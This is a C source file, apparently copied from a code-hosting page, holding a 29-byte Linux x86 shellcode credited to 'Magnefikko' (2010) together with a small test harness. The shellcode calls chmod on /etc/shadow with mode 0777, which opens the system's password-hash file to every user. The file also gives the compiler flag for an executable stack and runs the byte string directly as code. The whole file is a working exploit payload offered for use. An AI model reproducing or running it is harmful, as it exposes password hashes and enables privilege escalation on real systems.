30 lines
No EOL
696 B
C
Executable file
30 lines
No EOL
696 B
C
Executable file
#include <stdio.h>
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#include <string.h>
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/*
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by Magnefikko
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20.04.2010
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magnefikko@gmail.com
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promhyl.oz.pl
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Subgroup: #PRekambr
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Name: 29 bytes chmod("/etc/shadow", 0777) shellcode
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Platform: Linux x86
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chmod("/etc/shadow", 0777);
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gcc -Wl,-z,execstack filename.c
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shellcode:
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\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x66\x68\xff\x01\x59\xb0\x0f\xcd\x80
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*/
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int main(){
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char shell[] =
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"\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x66\x68\xff\x01\x59\xb0\x0f\xcd\x80";
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printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
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= %d\n", strlen(shell));
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(*(void (*)()) shell)();
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} |